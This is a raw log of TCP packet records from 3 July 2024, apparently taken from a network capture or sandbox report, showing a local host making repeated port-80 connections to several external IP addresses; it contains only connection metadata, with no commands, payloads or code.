Jul 3, 2024 17:57:23.762681961 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370687008 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370708942 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370744944 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370814085 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.370857000 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370871067 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.370897055 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.371217012 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.371228933 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.371233940 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.371239901 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.371244907 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.371277094 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.371315956 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.375823975 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.375900984 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.375910997 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.375941038 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.376099110 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.376171112 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.458395004 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.458431959 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.458446026 CEST	80	49738	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:24.458554983 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:24.458614111 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:25.263710022 CEST	49738	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.282531023 CEST	49740	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.288446903 CEST	80	49740	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:26.288568974 CEST	49740	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.290399075 CEST	49740	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.295218945 CEST	80	49740	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:26.862763882 CEST	80	49740	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:26.862982988 CEST	80	49740	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:26.863226891 CEST	49740	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.866080999 CEST	49740	80	192.168.2.6	192.185.208.8
Jul 3, 2024 17:57:26.871083975 CEST	80	49740	192.185.208.8	192.168.2.6
Jul 3, 2024 17:57:32.605081081 CEST	49741	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:32.611259937 CEST	80	49741	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:32.611339092 CEST	49741	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:32.613265038 CEST	49741	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:32.619091034 CEST	80	49741	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:33.529656887 CEST	80	49741	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:33.529742002 CEST	80	49741	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:33.532823086 CEST	49741	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:34.123096943 CEST	49741	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:35.142019033 CEST	49742	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:35.146945000 CEST	80	49742	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:35.150181055 CEST	49742	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:35.154019117 CEST	49742	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:35.158804893 CEST	80	49742	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:36.117645025 CEST	80	49742	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:36.118628979 CEST	80	49742	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:36.118674994 CEST	49742	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:36.654167891 CEST	49742	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:37.672739983 CEST	49743	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:37.677675962 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:37.677849054 CEST	49743	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:37.679713011 CEST	49743	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:37.684572935 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:37.685197115 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:39.011392117 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:39.011423111 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:39.011645079 CEST	80	49743	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:39.012391090 CEST	49743	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:39.186099052 CEST	49743	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:40.205159903 CEST	49744	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:40.210016966 CEST	80	49744	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:40.210095882 CEST	49744	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:40.212461948 CEST	49744	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:40.220674038 CEST	80	49744	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:41.145848989 CEST	80	49744	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:41.145965099 CEST	80	49744	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:41.148915052 CEST	49744	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:41.148915052 CEST	49744	80	192.168.2.6	121.254.178.230
Jul 3, 2024 17:57:41.154095888 CEST	80	49744	121.254.178.230	192.168.2.6
Jul 3, 2024 17:57:46.192274094 CEST	49745	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:46.197278976 CEST	80	49745	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:46.197364092 CEST	49745	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:46.199600935 CEST	49745	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:46.204658985 CEST	80	49745	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:46.784719944 CEST	80	49745	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:46.784883022 CEST	80	49745	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:46.785032988 CEST	49745	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:47.701184034 CEST	49745	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:48.721538067 CEST	49746	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:48.728504896 CEST	80	49746	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:48.732372999 CEST	49746	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:48.736191034 CEST	49746	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:48.741245985 CEST	80	49746	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:49.363711119 CEST	80	49746	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:49.375401974 CEST	80	49746	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:49.381849051 CEST	49746	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:50.247867107 CEST	49746	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:51.270009041 CEST	49747	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:51.274905920 CEST	80	49747	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:51.276155949 CEST	49747	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:51.282027960 CEST	49747	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:51.287008047 CEST	80	49747	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:51.287101030 CEST	80	49747	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:51.896353006 CEST	80	49747	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:51.896744013 CEST	80	49747	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:51.896800041 CEST	49747	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:52.782023907 CEST	49747	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:53.798963070 CEST	49748	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:53.804163933 CEST	80	49748	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:53.804254055 CEST	49748	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:53.806934118 CEST	49748	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:53.811800003 CEST	80	49748	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:54.429059982 CEST	80	49748	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:54.429127932 CEST	80	49748	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:54.429243088 CEST	49748	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:54.432145119 CEST	49748	80	192.168.2.6	203.161.49.220
Jul 3, 2024 17:57:54.437227964 CEST	80	49748	203.161.49.220	192.168.2.6
Jul 3, 2024 17:57:59.462013960 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:57:59.466937065 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:57:59.467041016 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:57:59.470967054 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:57:59.475801945 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511090040 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511113882 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511131048 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511178017 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.511281967 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511296988 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511313915 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511322975 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.511354923 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.511662006 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511676073 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511691093 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.511723042 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.512063026 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.512104034 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.515985966 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.516092062 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.516107082 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.516129971 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.516333103 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.516370058 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.516511917 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.560277939 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.609015942 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.609139919 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.609157085 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.609179020 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.612319946 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.612335920 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.612349033 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.612369061 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.612380981 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.619048119 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.620095015 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.620110989 CEST	80	49749	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:00.620140076 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.620155096 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:00.982458115 CEST	49749	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:02.002137899 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:02.008511066 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:02.008610010 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:02.010878086 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:02.019165039 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042216063 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042290926 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042314053 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042417049 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.042573929 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042586088 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042597055 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042607069 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042618036 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.042669058 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.042670012 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.043397903 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.043411016 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.043494940 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.047848940 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.047902107 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.047913074 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.047981977 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.140264034 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.140305042 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.140387058 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.140440941 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.140799046 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.142083883 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.143824100 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.143903017 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.143913984 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.148273945 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.150473118 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.150593996 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.150983095 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.150996923 CEST	80	49750	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:03.154150963 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:03.513609886 CEST	49750	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:04.568993092 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:04.575141907 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:04.575227022 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:04.577734947 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:04.582658052 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:04.582823038 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.768886089 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.768913031 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.768925905 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.768969059 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.768969059 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.768985033 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769013882 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.769282103 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769323111 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.769375086 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769618034 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769634008 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769649029 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.769653082 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.769685984 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.773835897 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.773890018 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.773905039 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.773929119 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.774243116 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.774282932 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.866736889 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.866782904 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.866797924 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.866822958 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.869899035 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.869949102 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.870017052 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.870031118 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.870085001 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.879733086 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.879791021 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.879873037 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:05.880460978 CEST	80	49751	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:05.880505085 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:06.091718912 CEST	49751	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:07.112073898 CEST	49752	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:07.117486954 CEST	80	49752	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:07.117702007 CEST	49752	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:07.119601965 CEST	49752	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:07.124906063 CEST	80	49752	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:07.989995003 CEST	80	49752	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:07.990428925 CEST	80	49752	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:07.990482092 CEST	49752	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:07.999350071 CEST	49752	80	192.168.2.6	217.160.0.84
Jul 3, 2024 17:58:08.004380941 CEST	80	49752	217.160.0.84	192.168.2.6
Jul 3, 2024 17:58:13.065150976 CEST	49754	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:13.070055962 CEST	80	49754	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:13.070190907 CEST	49754	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:13.072691917 CEST	49754	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:13.078044891 CEST	80	49754	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:13.707123041 CEST	80	49754	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:13.707288980 CEST	80	49754	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:13.707396030 CEST	49754	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:14.576004982 CEST	49754	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:15.596518993 CEST	49755	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:15.603810072 CEST	80	49755	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:15.604024887 CEST	49755	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:15.607995033 CEST	49755	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:15.612816095 CEST	80	49755	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:16.257267952 CEST	80	49755	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:16.257786036 CEST	80	49755	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:16.257846117 CEST	49755	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:17.107230902 CEST	49755	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:18.126494884 CEST	49756	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:18.131522894 CEST	80	49756	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:18.131592989 CEST	49756	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:18.133800030 CEST	49756	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:18.138684988 CEST	80	49756	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:18.139106035 CEST	80	49756	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:18.794671059 CEST	80	49756	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:18.795536041 CEST	80	49756	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:18.795829058 CEST	49756	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:19.638537884 CEST	49756	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:20.674865007 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:20.679867983 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:20.679958105 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:20.681797028 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:20.700448036 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.382949114 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.382976055 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.382987976 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383264065 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.383294106 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383306026 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383316994 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383328915 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383358002 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.383894920 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383905888 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383918047 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.383919001 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.383960009 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.383960009 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.388155937 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.388400078 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.388881922 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.389008999 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.435302973 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.483458042 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.483503103 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.483514071 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.483735085 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.483761072 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.483954906 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.483964920 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.484086990 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.484206915 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.484217882 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.484338045 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.484584093 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.485157967 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:21.488626957 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.493438959 CEST	49757	80	192.168.2.6	91.195.240.19
Jul 3, 2024 17:58:21.498348951 CEST	80	49757	91.195.240.19	192.168.2.6
Jul 3, 2024 17:58:27.194344044 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.200104952 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.200201035 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.202419996 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.207453012 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790493965 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790523052 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790534973 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790955067 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790968895 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790981054 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.790993929 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.791007996 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.791039944 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.791039944 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.791385889 CEST	80	49758	144.208.124.10	192.168.2.6
